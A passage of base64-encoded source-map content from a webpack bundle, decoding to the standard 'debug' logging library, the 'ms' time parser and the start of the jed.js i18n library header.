mlnYXRvciAhPT0gJ3VuZGVmaW5lZCcgJiYgbmF2aWdhdG9yLnVzZXJBZ2VudCAmJiBuYXZpZ2F0b3IudXNlckFnZW50LnRvTG93ZXJDYXNlKCkubWF0Y2goL2ZpcmVmb3hcXC8oXFxkKykvKSAmJiBwYXJzZUludChSZWdFeHAuJDEsIDEwKSA+PSAzMSkgfHxcbiAgICAvLyBkb3VibGUgY2hlY2sgd2Via2l0IGluIHVzZXJBZ2VudCBqdXN0IGluIGNhc2Ugd2UgYXJlIGluIGEgd29ya2VyXG4gICAgKHR5cGVvZiBuYXZpZ2F0b3IgIT09ICd1bmRlZmluZWQnICYmIG5hdmlnYXRvci51c2VyQWdlbnQgJiYgbmF2aWdhdG9yLnVzZXJBZ2VudC50b0xvd2VyQ2FzZSgpLm1hdGNoKC9hcHBsZXdlYmtpdFxcLyhcXGQrKS8pKTtcbn1cblxuLyoqXG4gKiBNYXAgJWogdG8gYEpTT04uc3RyaW5naWZ5KClgLCBzaW5jZSBubyBXZWIgSW5zcGVjdG9ycyBkbyB0aGF0IGJ5IGRlZmF1bHQuXG4gKi9cblxuZXhwb3J0cy5mb3JtYXR0ZXJzLmogPSBmdW5jdGlvbih2KSB7XG4gIHRyeSB7XG4gICAgcmV0dXJuIEpTT04uc3RyaW5naWZ5KHYpO1xuICB9IGNhdGNoIChlcnIpIHtcbiAgICByZXR1cm4gJ1tVbmV4cGVjdGVkSlNPTlBhcnNlRXJyb3JdOiAnICsgZXJyLm1lc3NhZ2U7XG4gIH1cbn07XG5cblxuLyoqXG4gKiBDb2xvcml6ZSBsb2cgYXJndW1lbnRzIGlmIGVuYWJsZWQuXG4gKlxuICogQGFwaSBwdWJsaWNcbiAqL1xuXG5mdW5jdGlvbiBmb3JtYXRBcmdzKGFyZ3MpIHtcbiAgdmFyIHVzZUNvbG9ycyA9IHRoaXMudXNlQ29sb3JzO1xuXG4gIGFyZ3NbMF0gPSAodXNlQ29sb3JzID8gJyVjJyA6ICcnKVxuICAgICsgdGhpcy5uYW1lc3BhY2VcbiAgICArICh1c2VDb2xvcnMgPyAnICVjJyA6ICcgJylcbiAgICArIGFyZ3NbMF1cbiAgICArICh1c2VDb2xvcnMgPyAnJWMgJyA6ICcgJylcbiAgICArICcrJyArIGV4cG9ydHMuaHVtYW5pemUodGhpcy5kaWZmKTtcblxuICBpZiAoIXVzZUNvbG9ycykgcmV0dXJuO1xuXG4gIHZhciBjID0gJ2NvbG9yOiAnICsgdGhpcy5jb2xvcjtcbiAgYXJncy5zcGxpY2UoMSwgMCwgYywgJ2NvbG9yOiBpbmhlcml0JylcblxuICAvLyB0aGUgZmluYWwgXCIlY1wiIGlzIHNvbWV3aGF0IHRyaWNreSwgYmVjYXVzZSB0aGVyZSBjb3VsZCBiZSBvdGhlclxuICAvLyBhcmd1bWVudHMgcGFzc2VkIGVpdGhlciBiZWZvcmUgb3IgYWZ0ZXIgdGhlICVjLCBzbyB3ZSBuZWVkIHRvXG4gIC8vIGZpZ3VyZSBvdXQgdGhlIGNvcnJlY3QgaW5kZXggdG8gaW5zZXJ0IHRoZSBDU1MgaW50b1xuICB2YXIgaW5kZXggPSAwO1xuICB2YXIgbGFzdEMgPSAwO1xuICBhcmdzWzBdLnJlcGxhY2UoLyVbYS16QS1aJV0vZywgZnVuY3Rpb24obWF0Y2gpIHtcbiAgICBpZiAoJyUlJyA9PT0gbWF0Y2gpIHJldHVybjtcbiAgICBpbmRleCsrO1xuICAgIGlmICgnJWMnID09PSBtYXRjaCkge1xuICAgICAgLy8gd2Ugb25seSBhcmUgaW50ZXJlc3RlZCBpbiB0aGUgKmxhc3QqICVjXG4gICAgICAvLyAodGhlIHVzZXIgbWF5IGhhdmUgcHJvdmlkZWQgdGhlaXIgb3duKVxuICAgICAgbGFzdEMgPSBpbmRleDtcbiAgICB9XG4gIH0pO1xuXG4gIGFyZ3Muc3BsaWNlKGxhc3RDLCAwLCBjKTtcbn1cblxuLyoqXG4gKiBJbnZva2VzIGBjb25zb2xlLmxvZygpYCB3aGVuIGF2YWlsYWJsZS5cbiAqIE5vLW9wIHdoZW4gYGNvbnNvbGUubG9nYCBpcyBub3QgYSBcImZ1bmN0aW9uXCIuXG4gKlxuICogQGFwaSBwdWJsaWNcbiAqL1xuXG5mdW5jdGlvbiBsb2coKSB7XG4gIC8vIHRoaXMgaGFja2VyeSBpcyByZXF1aXJlZCBmb3IgSUU4LzksIHdoZXJlXG4gIC8vIHRoZSBgY29uc29sZS5sb2dgIGZ1bmN0aW9uIGRvZXNuJ3QgaGF2ZSAnYXBwbHknXG4gIHJldHVybiAnb2JqZWN0JyA9PT0gdHlwZW9mIGNvbnNvbGVcbiAgICAmJiBjb25zb2xlLmxvZ1xuICAgICYmIEZ1bmN0aW9uLnByb3RvdHlwZS5hcHBseS5jYWxsKGNvbnNvbGUubG9nLCBjb25zb2xlLCBhcmd1bWVudHMpO1xufVxuXG4vKipcbiAqIFNhdmUgYG5hbWVzcGFjZXNgLlxuICpcbiAqIEBwYXJhbSB7U3RyaW5nfSBuYW1lc3BhY2VzXG4gKiBAYXBpIHByaXZhdGVcbiAqL1xuXG5mdW5jdGlvbiBzYXZlKG5hbWVzcGFjZXMpIHtcbiAgdHJ5IHtcbiAgICBpZiAobnVsbCA9PSBuYW1lc3BhY2VzKSB7XG4gICAgICBleHBvcnRzLnN0b3JhZ2UucmVtb3ZlSXRlbSgnZGVidWcnKTtcbiAgICB9IGVsc2Uge1xuICAgICAgZXhwb3J0cy5zdG9yYWdlLmRlYnVnID0gbmFtZXNwYWNlcztcbiAgICB9XG4gIH0gY2F0Y2goZSkge31cbn1cblxuLyoqXG4gKiBMb2FkIGBuYW1lc3BhY2VzYC5cbiAqXG4gKiBAcmV0dXJuIHtTdHJpbmd9IHJldHVybnMgdGhlIHByZXZpb3VzbHkgcGVyc2lzdGVkIGRlYnVnIG1vZGVzXG4gKiBAYXBpIHByaXZhdGVcbiAqL1xuXG5mdW5jdGlvbiBsb2FkKCkge1xuICB2YXIgcjtcbiAgdHJ5IHtcbiAgICByID0gZXhwb3J0cy5zdG9yYWdlLmRlYnVnO1xuICB9IGNhdGNoKGUpIHt9XG5cbiAgLy8gSWYgZGVidWcgaXNuJ3Qgc2V0IGluIExTLCBhbmQgd2UncmUgaW4gRWxlY3Ryb24sIHRyeSB0byBsb2FkICRERUJVR1xuICBpZiAoIXIgJiYgdHlwZW9mIHByb2Nlc3MgIT09ICd1bmRlZmluZWQnICYmICdlbnYnIGluIHByb2Nlc3MpIHtcbiAgICByID0gcHJvY2Vzcy5lbnYuREVCVUc7XG4gIH1cblxuICByZXR1cm4gcjtcbn1cblxuLyoqXG4gKiBFbmFibGUgbmFtZXNwYWNlcyBsaXN0ZWQgaW4gYGxvY2FsU3RvcmFnZS5kZWJ1Z2AgaW5pdGlhbGx5LlxuICovXG5cbmV4cG9ydHMuZW5hYmxlKGxvYWQoKSk7XG5cbi8qKlxuICogTG9jYWxzdG9yYWdlIGF0dGVtcHRzIHRvIHJldHVybiB0aGUgbG9jYWxzdG9yYWdlLlxuICpcbiAqIFRoaXMgaXMgbmVjZXNzYXJ5IGJlY2F1c2Ugc2FmYXJpIHRocm93c1xuICogd2hlbiBhIHVzZXIgZGlzYWJsZXMgY29va2llcy9sb2NhbHN0b3JhZ2VcbiAqIGFuZCB5b3UgYXR0ZW1wdCB0byBhY2Nlc3MgaXQuXG4gKlxuICogQHJldHVybiB7TG9jYWxTdG9yYWdlfVxuICogQGFwaSBwcml2YXRlXG4gKi9cblxuZnVuY3Rpb24gbG9jYWxzdG9yYWdlKCkge1xuICB0cnkge1xuICAgIHJldHVybiB3aW5kb3cubG9jYWxTdG9yYWdlO1xuICB9IGNhdGNoIChlKSB7fVxufVxuXG5cblxuLy8vLy8vLy8vLy8vLy8vLy8vXG4vLyBXRUJQQUNLIEZPT1RFUlxuLy8gLi9ub2RlX21vZHVsZXMvaTE4bi13cC1wbHVnaW4vbm9kZV9tb2R1bGVzL2RlYnVnL3NyYy9icm93c2VyLmpzXG4vLyBtb2R1bGUgaWQgPSA5M1xuLy8gbW9kdWxlIGNodW5rcyA9IDAgMSAyIDMgNCA1IiwiXG4vKipcbiAqIFRoaXMgaXMgdGhlIGNvbW1vbiBsb2dpYyBmb3IgYm90aCB0aGUgTm9kZS5qcyBhbmQgd2ViIGJyb3dzZXJcbiAqIGltcGxlbWVudGF0aW9ucyBvZiBgZGVidWcoKWAuXG4gKlxuICogRXhwb3NlIGBkZWJ1ZygpYCBhcyB0aGUgbW9kdWxlLlxuICovXG5cbmV4cG9ydHMgPSBtb2R1bGUuZXhwb3J0cyA9IGNyZWF0ZURlYnVnLmRlYnVnID0gY3JlYXRlRGVidWdbJ2RlZmF1bHQnXSA9IGNyZWF0ZURlYnVnO1xuZXhwb3J0cy5jb2VyY2UgPSBjb2VyY2U7XG5leHBvcnRzLmRpc2FibGUgPSBkaXNhYmxlO1xuZXhwb3J0cy5lbmFibGUgPSBlbmFibGU7XG5leHBvcnRzLmVuYWJsZWQgPSBlbmFibGVkO1xuZXhwb3J0cy5odW1hbml6ZSA9IHJlcXVpcmUoJ21zJyk7XG5cbi8qKlxuICogQWN0aXZlIGBkZWJ1Z2AgaW5zdGFuY2VzLlxuICovXG5leHBvcnRzLmluc3RhbmNlcyA9IFtdO1xuXG4vKipcbiAqIFRoZSBjdXJyZW50bHkgYWN0aXZlIGRlYnVnIG1vZGUgbmFtZXMsIGFuZCBuYW1lcyB0byBza2lwLlxuICovXG5cbmV4cG9ydHMubmFtZXMgPSBbXTtcbmV4cG9ydHMuc2tpcHMgPSBbXTtcblxuLyoqXG4gKiBNYXAgb2Ygc3BlY2lhbCBcIiVuXCIgaGFuZGxpbmcgZnVuY3Rpb25zLCBmb3IgdGhlIGRlYnVnIFwiZm9ybWF0XCIgYXJndW1lbnQuXG4gKlxuICogVmFsaWQga2V5IG5hbWVzIGFyZSBhIHNpbmdsZSwgbG93ZXIgb3IgdXBwZXItY2FzZSBsZXR0ZXIsIGkuZS4gXCJuXCIgYW5kIFwiTlwiLlxuICovXG5cbmV4cG9ydHMuZm9ybWF0dGVycyA9IHt9O1xuXG4vKipcbiAqIFNlbGVjdCBhIGNvbG9yLlxuICogQHBhcmFtIHtTdHJpbmd9IG5hbWVzcGFjZVxuICogQHJldHVybiB7TnVtYmVyfVxuICogQGFwaSBwcml2YXRlXG4gKi9cblxuZnVuY3Rpb24gc2VsZWN0Q29sb3IobmFtZXNwYWNlKSB7XG4gIHZhciBoYXNoID0gMCwgaTtcblxuICBmb3IgKGkgaW4gbmFtZXNwYWNlKSB7XG4gICAgaGFzaCAgPSAoKGhhc2ggPDwgNSkgLSBoYXNoKSArIG5hbWVzcGFjZS5jaGFyQ29kZUF0KGkpO1xuICAgIGhhc2ggfD0gMDsgLy8gQ29udmVydCB0byAzMmJpdCBpbnRlZ2VyXG4gIH1cblxuICByZXR1cm4gZXhwb3J0cy5jb2xvcnNbTWF0aC5hYnMoaGFzaCkgJSBleHBvcnRzLmNvbG9ycy5sZW5ndGhdO1xufVxuXG4vKipcbiAqIENyZWF0ZSBhIGRlYnVnZ2VyIHdpdGggdGhlIGdpdmVuIGBuYW1lc3BhY2VgLlxuICpcbiAqIEBwYXJhbSB7U3RyaW5nfSBuYW1lc3BhY2VcbiAqIEByZXR1cm4ge0Z1bmN0aW9ufVxuICogQGFwaSBwdWJsaWNcbiAqL1xuXG5mdW5jdGlvbiBjcmVhdGVEZWJ1ZyhuYW1lc3BhY2UpIHtcblxuICB2YXIgcHJldlRpbWU7XG5cbiAgZnVuY3Rpb24gZGVidWcoKSB7XG4gICAgLy8gZGlzYWJsZWQ/XG4gICAgaWYgKCFkZWJ1Zy5lbmFibGVkKSByZXR1cm47XG5cbiAgICB2YXIgc2VsZiA9IGRlYnVnO1xuXG4gICAgLy8gc2V0IGBkaWZmYCB0aW1lc3RhbXBcbiAgICB2YXIgY3VyciA9ICtuZXcgRGF0ZSgpO1xuICAgIHZhciBtcyA9IGN1cnIgLSAocHJldlRpbWUgfHwgY3Vycik7XG4gICAgc2VsZi5kaWZmID0gbXM7XG4gICAgc2VsZi5wcmV2ID0gcHJldlRpbWU7XG4gICAgc2VsZi5jdXJyID0gY3VycjtcbiAgICBwcmV2VGltZSA9IGN1cnI7XG5cbiAgICAvLyB0dXJuIHRoZSBgYXJndW1lbnRzYCBpbnRvIGEgcHJvcGVyIEFycmF5XG4gICAgdmFyIGFyZ3MgPSBuZXcgQXJyYXkoYXJndW1lbnRzLmxlbmd0aCk7XG4gICAgZm9yICh2YXIgaSA9IDA7IGkgPCBhcmdzLmxlbmd0aDsgaSsrKSB7XG4gICAgICBhcmdzW2ldID0gYXJndW1lbnRzW2ldO1xuICAgIH1cblxuICAgIGFyZ3NbMF0gPSBleHBvcnRzLmNvZXJjZShhcmdzWzBdKTtcblxuICAgIGlmICgnc3RyaW5nJyAhPT0gdHlwZW9mIGFyZ3NbMF0pIHtcbiAgICAgIC8vIGFueXRoaW5nIGVsc2UgbGV0J3MgaW5zcGVjdCB3aXRoICVPXG4gICAgICBhcmdzLnVuc2hpZnQoJyVPJyk7XG4gICAgfVxuXG4gICAgLy8gYXBwbHkgYW55IGBmb3JtYXR0ZXJzYCB0cmFuc2Zvcm1hdGlvbnNcbiAgICB2YXIgaW5kZXggPSAwO1xuICAgIGFyZ3NbMF0gPSBhcmdzWzBdLnJlcGxhY2UoLyUoW2EtekEtWiVdKS9nLCBmdW5jdGlvbihtYXRjaCwgZm9ybWF0KSB7XG4gICAgICAvLyBpZiB3ZSBlbmNvdW50ZXIgYW4gZXNjYXBlZCAlIHRoZW4gZG9uJ3QgaW5jcmVhc2UgdGhlIGFycmF5IGluZGV4XG4gICAgICBpZiAobWF0Y2ggPT09ICclJScpIHJldHVybiBtYXRjaDtcbiAgICAgIGluZGV4Kys7XG4gICAgICB2YXIgZm9ybWF0dGVyID0gZXhwb3J0cy5mb3JtYXR0ZXJzW2Zvcm1hdF07XG4gICAgICBpZiAoJ2Z1bmN0aW9uJyA9PT0gdHlwZW9mIGZvcm1hdHRlcikge1xuICAgICAgICB2YXIgdmFsID0gYXJnc1tpbmRleF07XG4gICAgICAgIG1hdGNoID0gZm9ybWF0dGVyLmNhbGwoc2VsZiwgdmFsKTtcblxuICAgICAgICAvLyBub3cgd2UgbmVlZCB0byByZW1vdmUgYGFyZ3NbaW5kZXhdYCBzaW5jZSBpdCdzIGlubGluZWQgaW4gdGhlIGBmb3JtYXRgXG4gICAgICAgIGFyZ3Muc3BsaWNlKGluZGV4LCAxKTtcbiAgICAgICAgaW5kZXgtLTtcbiAgICAgIH1cbiAgICAgIHJldHVybiBtYXRjaDtcbiAgICB9KTtcblxuICAgIC8vIGFwcGx5IGVudi1zcGVjaWZpYyBmb3JtYXR0aW5nIChjb2xvcnMsIGV0Yy4pXG4gICAgZXhwb3J0cy5mb3JtYXRBcmdzLmNhbGwoc2VsZiwgYXJncyk7XG5cbiAgICB2YXIgbG9nRm4gPSBkZWJ1Zy5sb2cgfHwgZXhwb3J0cy5sb2cgfHwgY29uc29sZS5sb2cuYmluZChjb25zb2xlKTtcbiAgICBsb2dGbi5hcHBseShzZWxmLCBhcmdzKTtcbiAgfVxuXG4gIGRlYnVnLm5hbWVzcGFjZSA9IG5hbWVzcGFjZTtcbiAgZGVidWcuZW5hYmxlZCA9IGV4cG9ydHMuZW5hYmxlZChuYW1lc3BhY2UpO1xuICBkZWJ1Zy51c2VDb2xvcnMgPSBleHBvcnRzLnVzZUNvbG9ycygpO1xuICBkZWJ1Zy5jb2xvciA9IHNlbGVjdENvbG9yKG5hbWVzcGFjZSk7XG4gIGRlYnVnLmRlc3Ryb3kgPSBkZXN0cm95O1xuXG4gIC8vIGVudi1zcGVjaWZpYyBpbml0aWFsaXphdGlvbiBsb2dpYyBmb3IgZGVidWcgaW5zdGFuY2VzXG4gIGlmICgnZnVuY3Rpb24nID09PSB0eXBlb2YgZXhwb3J0cy5pbml0KSB7XG4gICAgZXhwb3J0cy5pbml0KGRlYnVnKTtcbiAgfVxuXG4gIGV4cG9ydHMuaW5zdGFuY2VzLnB1c2goZGVidWcpO1xuXG4gIHJldHVybiBkZWJ1Zztcbn1cblxuZnVuY3Rpb24gZGVzdHJveSAoKSB7XG4gIHZhciBpbmRleCA9IGV4cG9ydHMuaW5zdGFuY2VzLmluZGV4T2YodGhpcyk7XG4gIGlmIChpbmRleCAhPT0gLTEpIHtcbiAgICBleHBvcnRzLmluc3RhbmNlcy5zcGxpY2UoaW5kZXgsIDEpO1xuICAgIHJldHVybiB0cnVlO1xuICB9IGVsc2Uge1xuICAgIHJldHVybiBmYWxzZTtcbiAgfVxufVxuXG4vKipcbiAqIEVuYWJsZXMgYSBkZWJ1ZyBtb2RlIGJ5IG5hbWVzcGFjZXMuIFRoaXMgY2FuIGluY2x1ZGUgbW9kZXNcbiAqIHNlcGFyYXRlZCBieSBhIGNvbG9uIGFuZCB3aWxkY2FyZHMuXG4gKlxuICogQHBhcmFtIHtTdHJpbmd9IG5hbWVzcGFjZXNcbiAqIEBhcGkgcHVibGljXG4gKi9cblxuZnVuY3Rpb24gZW5hYmxlKG5hbWVzcGFjZXMpIHtcbiAgZXhwb3J0cy5zYXZlKG5hbWVzcGFjZXMpO1xuXG4gIGV4cG9ydHMubmFtZXMgPSBbXTtcbiAgZXhwb3J0cy5za2lwcyA9IFtdO1xuXG4gIHZhciBpO1xuICB2YXIgc3BsaXQgPSAodHlwZW9mIG5hbWVzcGFjZXMgPT09ICdzdHJpbmcnID8gbmFtZXNwYWNlcyA6ICcnKS5zcGxpdCgvW1xccyxdKy8pO1xuICB2YXIgbGVuID0gc3BsaXQubGVuZ3RoO1xuXG4gIGZvciAoaSA9IDA7IGkgPCBsZW47IGkrKykge1xuICAgIGlmICghc3BsaXRbaV0pIGNvbnRpbnVlOyAvLyBpZ25vcmUgZW1wdHkgc3RyaW5nc1xuICAgIG5hbWVzcGFjZXMgPSBzcGxpdFtpXS5yZXBsYWNlKC9cXCovZywgJy4qPycpO1xuICAgIGlmIChuYW1lc3BhY2VzWzBdID09PSAnLScpIHtcbiAgICAgIGV4cG9ydHMuc2tpcHMucHVzaChuZXcgUmVnRXhwKCdeJyArIG5hbWVzcGFjZXMuc3Vic3RyKDEpICsgJyQnKSk7XG4gICAgfSBlbHNlIHtcbiAgICAgIGV4cG9ydHMubmFtZXMucHVzaChuZXcgUmVnRXhwKCdeJyArIG5hbWVzcGFjZXMgKyAnJCcpKTtcbiAgICB9XG4gIH1cblxuICBmb3IgKGkgPSAwOyBpIDwgZXhwb3J0cy5pbnN0YW5jZXMubGVuZ3RoOyBpKyspIHtcbiAgICB2YXIgaW5zdGFuY2UgPSBleHBvcnRzLmluc3RhbmNlc1tpXTtcbiAgICBpbnN0YW5jZS5lbmFibGVkID0gZXhwb3J0cy5lbmFibGVkKGluc3RhbmNlLm5hbWVzcGFjZSk7XG4gIH1cbn1cblxuLyoqXG4gKiBEaXNhYmxlIGRlYnVnIG91dHB1dC5cbiAqXG4gKiBAYXBpIHB1YmxpY1xuICovXG5cbmZ1bmN0aW9uIGRpc2FibGUoKSB7XG4gIGV4cG9ydHMuZW5hYmxlKCcnKTtcbn1cblxuLyoqXG4gKiBSZXR1cm5zIHRydWUgaWYgdGhlIGdpdmVuIG1vZGUgbmFtZSBpcyBlbmFibGVkLCBmYWxzZSBvdGhlcndpc2UuXG4gKlxuICogQHBhcmFtIHtTdHJpbmd9IG5hbWVcbiAqIEByZXR1cm4ge0Jvb2xlYW59XG4gKiBAYXBpIHB1YmxpY1xuICovXG5cbmZ1bmN0aW9uIGVuYWJsZWQobmFtZSkge1xuICBpZiAobmFtZVtuYW1lLmxlbmd0aCAtIDFdID09PSAnKicpIHtcbiAgICByZXR1cm4gdHJ1ZTtcbiAgfVxuICB2YXIgaSwgbGVuO1xuICBmb3IgKGkgPSAwLCBsZW4gPSBleHBvcnRzLnNraXBzLmxlbmd0aDsgaSA8IGxlbjsgaSsrKSB7XG4gICAgaWYgKGV4cG9ydHMuc2tpcHNbaV0udGVzdChuYW1lKSkge1xuICAgICAgcmV0dXJuIGZhbHNlO1xuICAgIH1cbiAgfVxuICBmb3IgKGkgPSAwLCBsZW4gPSBleHBvcnRzLm5hbWVzLmxlbmd0aDsgaSA8IGxlbjsgaSsrKSB7XG4gICAgaWYgKGV4cG9ydHMubmFtZXNbaV0udGVzdChuYW1lKSkge1xuICAgICAgcmV0dXJuIHRydWU7XG4gICAgfVxuICB9XG4gIHJldHVybiBmYWxzZTtcbn1cblxuLyoqXG4gKiBDb2VyY2UgYHZhbGAuXG4gKlxuICogQHBhcmFtIHtNaXhlZH0gdmFsXG4gKiBAcmV0dXJuIHtNaXhlZH1cbiAqIEBhcGkgcHJpdmF0ZVxuICovXG5cbmZ1bmN0aW9uIGNvZXJjZSh2YWwpIHtcbiAgaWYgKHZhbCBpbnN0YW5jZW9mIEVycm9yKSByZXR1cm4gdmFsLnN0YWNrIHx8IHZhbC5tZXNzYWdlO1xuICByZXR1cm4gdmFsO1xufVxuXG5cblxuLy8vLy8vLy8vLy8vLy8vLy8vXG4vLyBXRUJQQUNLIEZPT1RFUlxuLy8gLi9ub2RlX21vZHVsZXMvaTE4bi13cC1wbHVnaW4vbm9kZV9tb2R1bGVzL2RlYnVnL3NyYy9kZWJ1Zy5qc1xuLy8gbW9kdWxlIGlkID0gOTRcbi8vIG1vZHVsZSBjaHVua3MgPSAwIDEgMiAzIDQgNSIsIi8qKlxuICogSGVscGVycy5cbiAqL1xuXG52YXIgcyA9IDEwMDA7XG52YXIgbSA9IHMgKiA2MDtcbnZhciBoID0gbSAqIDYwO1xudmFyIGQgPSBoICogMjQ7XG52YXIgeSA9IGQgKiAzNjUuMjU7XG5cbi8qKlxuICogUGFyc2Ugb3IgZm9ybWF0IHRoZSBnaXZlbiBgdmFsYC5cbiAqXG4gKiBPcHRpb25zOlxuICpcbiAqICAtIGBsb25nYCB2ZXJib3NlIGZvcm1hdHRpbmcgW2ZhbHNlXVxuICpcbiAqIEBwYXJhbSB7U3RyaW5nfE51bWJlcn0gdmFsXG4gKiBAcGFyYW0ge09iamVjdH0gW29wdGlvbnNdXG4gKiBAdGhyb3dzIHtFcnJvcn0gdGhyb3cgYW4gZXJyb3IgaWYgdmFsIGlzIG5vdCBhIG5vbi1lbXB0eSBzdHJpbmcgb3IgYSBudW1iZXJcbiAqIEByZXR1cm4ge1N0cmluZ3xOdW1iZXJ9XG4gKiBAYXBpIHB1YmxpY1xuICovXG5cbm1vZHVsZS5leHBvcnRzID0gZnVuY3Rpb24odmFsLCBvcHRpb25zKSB7XG4gIG9wdGlvbnMgPSBvcHRpb25zIHx8IHt9O1xuICB2YXIgdHlwZSA9IHR5cGVvZiB2YWw7XG4gIGlmICh0eXBlID09PSAnc3RyaW5nJyAmJiB2YWwubGVuZ3RoID4gMCkge1xuICAgIHJldHVybiBwYXJzZSh2YWwpO1xuICB9IGVsc2UgaWYgKHR5cGUgPT09ICdudW1iZXInICYmIGlzTmFOKHZhbCkgPT09IGZhbHNlKSB7XG4gICAgcmV0dXJuIG9wdGlvbnMubG9uZyA/IGZtdExvbmcodmFsKSA6IGZtdFNob3J0KHZhbCk7XG4gIH1cbiAgdGhyb3cgbmV3IEVycm9yKFxuICAgICd2YWwgaXMgbm90IGEgbm9uLWVtcHR5IHN0cmluZyBvciBhIHZhbGlkIG51bWJlci4gdmFsPScgK1xuICAgICAgSlNPTi5zdHJpbmdpZnkodmFsKVxuICApO1xufTtcblxuLyoqXG4gKiBQYXJzZSB0aGUgZ2l2ZW4gYHN0cmAgYW5kIHJldHVybiBtaWxsaXNlY29uZHMuXG4gKlxuICogQHBhcmFtIHtTdHJpbmd9IHN0clxuICogQHJldHVybiB7TnVtYmVyfVxuICogQGFwaSBwcml2YXRlXG4gKi9cblxuZnVuY3Rpb24gcGFyc2Uoc3RyKSB7XG4gIHN0ciA9IFN0cmluZyhzdHIpO1xuICBpZiAoc3RyLmxlbmd0aCA+IDEwMCkge1xuICAgIHJldHVybjtcbiAgfVxuICB2YXIgbWF0Y2ggPSAvXigoPzpcXGQrKT9cXC4/XFxkKykgKihtaWxsaXNlY29uZHM/fG1zZWNzP3xtc3xzZWNvbmRzP3xzZWNzP3xzfG1pbnV0ZXM/fG1pbnM/fG18aG91cnM/fGhycz98aHxkYXlzP3xkfHllYXJzP3x5cnM/fHkpPyQvaS5leGVjKFxuICAgIHN0clxuICApO1xuICBpZiAoIW1hdGNoKSB7XG4gICAgcmV0dXJuO1xuICB9XG4gIHZhciBuID0gcGFyc2VGbG9hdChtYXRjaFsxXSk7XG4gIHZhciB0eXBlID0gKG1hdGNoWzJdIHx8ICdtcycpLnRvTG93ZXJDYXNlKCk7XG4gIHN3aXRjaCAodHlwZSkge1xuICAgIGNhc2UgJ3llYXJzJzpcbiAgICBjYXNlICd5ZWFyJzpcbiAgICBjYXNlICd5cnMnOlxuICAgIGNhc2UgJ3lyJzpcbiAgICBjYXNlICd5JzpcbiAgICAgIHJldHVybiBuICogeTtcbiAgICBjYXNlICdkYXlzJzpcbiAgICBjYXNlICdkYXknOlxuICAgIGNhc2UgJ2QnOlxuICAgICAgcmV0dXJuIG4gKiBkO1xuICAgIGNhc2UgJ2hvdXJzJzpcbiAgICBjYXNlICdob3VyJzpcbiAgICBjYXNlICdocnMnOlxuICAgIGNhc2UgJ2hyJzpcbiAgICBjYXNlICdoJzpcbiAgICAgIHJldHVybiBuICogaDtcbiAgICBjYXNlICdtaW51dGVzJzpcbiAgICBjYXNlICdtaW51dGUnOlxuICAgIGNhc2UgJ21pbnMnOlxuICAgIGNhc2UgJ21pbic6XG4gICAgY2FzZSAnbSc6XG4gICAgICByZXR1cm4gbiAqIG07XG4gICAgY2FzZSAnc2Vjb25kcyc6XG4gICAgY2FzZSAnc2Vjb25kJzpcbiAgICBjYXNlICdzZWNzJzpcbiAgICBjYXNlICdzZWMnOlxuICAgIGNhc2UgJ3MnOlxuICAgICAgcmV0dXJuIG4gKiBzO1xuICAgIGNhc2UgJ21pbGxpc2Vjb25kcyc6XG4gICAgY2FzZSAnbWlsbGlzZWNvbmQnOlxuICAgIGNhc2UgJ21zZWNzJzpcbiAgICBjYXNlICdtc2VjJzpcbiAgICBjYXNlICdtcyc6XG4gICAgICByZXR1cm4gbjtcbiAgICBkZWZhdWx0OlxuICAgICAgcmV0dXJuIHVuZGVmaW5lZDtcbiAgfVxufVxuXG4vKipcbiAqIFNob3J0IGZvcm1hdCBmb3IgYG1zYC5cbiAqXG4gKiBAcGFyYW0ge051bWJlcn0gbXNcbiAqIEByZXR1cm4ge1N0cmluZ31cbiAqIEBhcGkgcHJpdmF0ZVxuICovXG5cbmZ1bmN0aW9uIGZtdFNob3J0KG1zKSB7XG4gIGlmIChtcyA+PSBkKSB7XG4gICAgcmV0dXJuIE1hdGgucm91bmQobXMgLyBkKSArICdkJztcbiAgfVxuICBpZiAobXMgPj0gaCkge1xuICAgIHJldHVybiBNYXRoLnJvdW5kKG1zIC8gaCkgKyAnaCc7XG4gIH1cbiAgaWYgKG1zID49IG0pIHtcbiAgICByZXR1cm4gTWF0aC5yb3VuZChtcyAvIG0pICsgJ20nO1xuICB9XG4gIGlmIChtcyA+PSBzKSB7XG4gICAgcmV0dXJuIE1hdGgucm91bmQobXMgLyBzKSArICdzJztcbiAgfVxuICByZXR1cm4gbXMgKyAnbXMnO1xufVxuXG4vKipcbiAqIExvbmcgZm9ybWF0IGZvciBgbXNgLlxuICpcbiAqIEBwYXJhbSB7TnVtYmVyfSBtc1xuICogQHJldHVybiB7U3RyaW5nfVxuICogQGFwaSBwcml2YXRlXG4gKi9cblxuZnVuY3Rpb24gZm10TG9uZyhtcykge1xuICByZXR1cm4gcGx1cmFsKG1zLCBkLCAnZGF5JykgfHxcbiAgICBwbHVyYWwobXMsIGgsICdob3VyJykgfHxcbiAgICBwbHVyYWwobXMsIG0sICdtaW51dGUnKSB8fFxuICAgIHBsdXJhbChtcywgcywgJ3NlY29uZCcpIHx8XG4gICAgbXMgKyAnIG1zJztcbn1cblxuLyoqXG4gKiBQbHVyYWxpemF0aW9uIGhlbHBlci5cbiAqL1xuXG5mdW5jdGlvbiBwbHVyYWwobXMsIG4sIG5hbWUpIHtcbiAgaWYgKG1zIDwgbikge1xuICAgIHJldHVybjtcbiAgfVxuICBpZiAobXMgPCBuICogMS41KSB7XG4gICAgcmV0dXJuIE1hdGguZmxvb3IobXMgLyBuKSArICcgJyArIG5hbWU7XG4gIH1cbiAgcmV0dXJuIE1hdGguY2VpbChtcyAvIG4pICsgJyAnICsgbmFtZSArICdzJztcbn1cblxuXG5cbi8vLy8vLy8vLy8vLy8vLy8vL1xuLy8gV0VCUEFDSyBGT09URVJcbi8vIC4vbm9kZV9tb2R1bGVzL21zL2luZGV4LmpzXG4vLyBtb2R1bGUgaWQgPSA5NVxuLy8gbW9kdWxlIGNodW5rcyA9IDAgMSAyIDMgNCA1IiwiLyoqXG4gKiBAcHJlc2VydmUgamVkLmpzIHYwLjUuMGJldGEgaHR0cHM6Ly9naXRodWIuY29tL1NsZXhBeHRvbi9KZWRcbiAqL1xuLypcbi0tLS0tLS0tLS0tXG5BIGdldHRleHQgY29tcGF0aWJsZSBpMThuIGxpYnJhcnkgZm9yIG1vZGVybiBKYXZhU2NyaXB0IEFwcGxpY2F0aW9uc1xuXG5ieSBBbGV4IFNleHRvbiAtIEFsZXhTZXh0b24gW2F0XSBnbWFpbCAtIEBTbGV4QXh0b25cbldURlBMIGxpY2Vuc2UgZm9yIHVzZVxuRG9qbyBDTEEgZm9yIGNvbnRyaW